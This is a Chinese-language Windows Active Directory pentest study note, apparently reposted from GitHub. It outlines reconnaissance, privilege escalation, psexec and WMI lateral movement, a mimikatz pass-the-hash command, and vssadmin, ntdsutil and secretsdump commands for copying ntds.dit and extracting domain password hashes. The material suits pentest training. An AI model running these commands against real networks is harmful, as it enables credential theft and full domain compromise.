Windows域渗透学习笔记

Info

Windows域渗透初探,一边学习一边整理,后边还会慢慢补充,大家有意见或者建议的话欢迎提Issue :)

思路

在域环境中,一般的渗透思路如下:

  1. 获取一台域主机上的一个低权限用户,比如通过Webshell
  2. 信息收集(贯穿始终)
  3. 权限提升(提升到高权限来尝试获取其他域用户的登录凭据)
  4. 横向渗透(利用已经获得的登录凭据对其他域内主机进行渗透,或将当前机器作为代理,对域内其他机器进行扫描)
  5. 重复上述步骤直至控制域控

信息收集

基本信息: net config workstatsion ,包括计算机名、用户名、工作站域、登录域

用户相关:

  • 查看域内用户: net user /domain/domain 表示向域控发起查询)
  • 查看用户在域内的权限: net user username /domain
  • 查看域内用户组: net group /domain
  • 查看指定组内的用户: net group groupname /domain
  • 查看用户会话: query user
  • 查看用户密码/hash: mimikatz , 相关知识点

主机相关:

  • 主机发现: net view
  • 定位域控: net time /domainecho %logonserver%
  • 已知目标IP获取主机名和域内身份: nbtstat -A ip ,Linux下: nbtscan

nbtstatnbtscan 主要使用了NetBIOS Over TCP/IP, 相关知识点

域内通信主要通过Windows文件共享来实现, 相关知识点

其他工具例如msf中post/windows/gather/下的模块同样可以用来收集信息,各个模块的使用方法详见 msf文档 。

关注公众号:hack之道,后台回复关键词:666,获取最新渗透教程和工具。

权限提升

meterpreter getsystem

  • Administrator -> System
  • 相关知识点

incognito.exe list\_tokens -u

  • Administrator -> System / Administrator -> common user
  • 通过窃取用户token来获得用户身份, 相关知识点

at 运行定时任务

msf exploit/windows/local

  • 可根据KB号来选择相应的exploit

misconfiguration

  • 利用服务、文件或文件夹等不严格的权限限制,比如允许更改服务设置,允许向加载DLL的位置写入文件等等
  • 检查权限的工具: AccessChk ,来自Windows Sysinternals
  • misconfiguration检查工具: BeRoot

横向渗透

代理、端口转发

  • 推荐: Termite
  • Meterpreter autoroute、socks4a
  • ssh、reGeorg、lcx.exe ...

Remote Command Execution(在获取到远程机器登录凭据的情况下在远程机器上执行命令)

  • psexec
  • 原理:

通过ipc$连接,然后释放psexesvc.exe到目标机器。

通过服务管理 SCManager 远程创建psexecsvc服务,并启动服务。

客户端连接执行命令,服务端启动相应的程序并执行回显数据。

限制:需要开启admin$共享和开启445端口

优势:执行成功直接提供System权限

  • WMI
  • 相关知识点
  • mimikatz pass the hash(适用于不知道用户名密码但是知道hash的情况)
  • mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"

This patches in the particular NTLM hash into LSASS memory, turning it into a kerberos ticket.

原理是将特定的NTLM hash补丁放入LSASS内存,将其变成kerberos ticket。

  • 这样执行完后已经获得了目标用户的身份,然后就可以用 net use 等连接目标机器,无需知道用户的密码。

权限维持

  • Ntds.dit
  • DSInternals Get-ADDBAccount
  • Meterpreter smart\_hashdump
  • impacket secretsdump.py
  • key=GetBootKeySystemHivePathC:\Extract\SYSTEMGetADDBAccountAllDBPathC:\Extract\ntds.ditBootKeykey = Get-BootKey -SystemHivePath 'C:\Extract\SYSTEM' Get-ADDBAccount -All -DBPath 'C:\Extract\ntds.dit' -BootKey key
  • python secretsdump.py -ntds /root/ntds\_cracking/ntds.dit -system /root/ntds\_cracking/systemhive LOCAL
  • 由于该文件在被域使用,所以无法直接copy
  • Volume Shadow Copy
  • PowerSploit NinjaCopy
  • Ntdsutil
  • vssadmin create shadow /for=C:
    copy VolumeName\Windows\NTDS\ntds.dit C:\Extract\ntds.dit
    copy VolumeName\Windows\System32\config\SYSTEM C:\Extract\SYSTEM
    vssadmin delete shadows /shadow={ShadowID}
  • Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -verbose -localdestination C:\Extract\ntds.dit
  • ntdsutil snapshot "activate instance ntds" create quit quit
    ntdsutil snapshot "mount {GUID}" quit quit
    copy MOUNT_POINT\Windows\NTDS\ntds.dit C:\Extract\ntds.dit
    ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
  • %SystemRoot%\NTDS\Ntds.dit:真正的数据文件
  • %SystemRoot%\System32\Ntds.dit:分发副本,当一台机器升级到域控时,将该文件拷贝到 %SystemRoot%\NTDS\Ntds.dit,域数据由后者记录
  • NT Directory Service . Directory Information Tree
  • 数据库文件,存储着域数据
  • 存储在两个位置
  • 文件导出
  • 哈希提取

常用工具

Metasploit: https://github.com/rapid7/metasploit-framework

PowerSploit: https://github.com/PowerShellMafia/PowerSploit ,多种PowerShell后渗透模块

Empire: https://github.com/EmpireProject/Empire ,基于PowerShell的后渗透框架,更适合内网渗透

Windows sysinternals: https://docs.microsoft.com/en-us/sysinternals/ ,Windows支持的工具集

Reference

https://3gstudent.github.io/

http://www.fuzzysecurity.com/tutorials/25.html

https://github.com/l3m0n/pentest\_study

https://www.offensive-security.com/metasploit-unleashed/post-module-reference/

https://support.microsoft.com/en-us/help/313565/how-to-use-the-at-command-to-schedule-tasks

http://www.fuzzysecurity.com/tutorials/16.html

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/

https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/


          
作者:imp0wd3r
          
项目地址:https://github.com/imp0wd3r/active-directory-pentest
      

历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
评论
未登录
暂无评论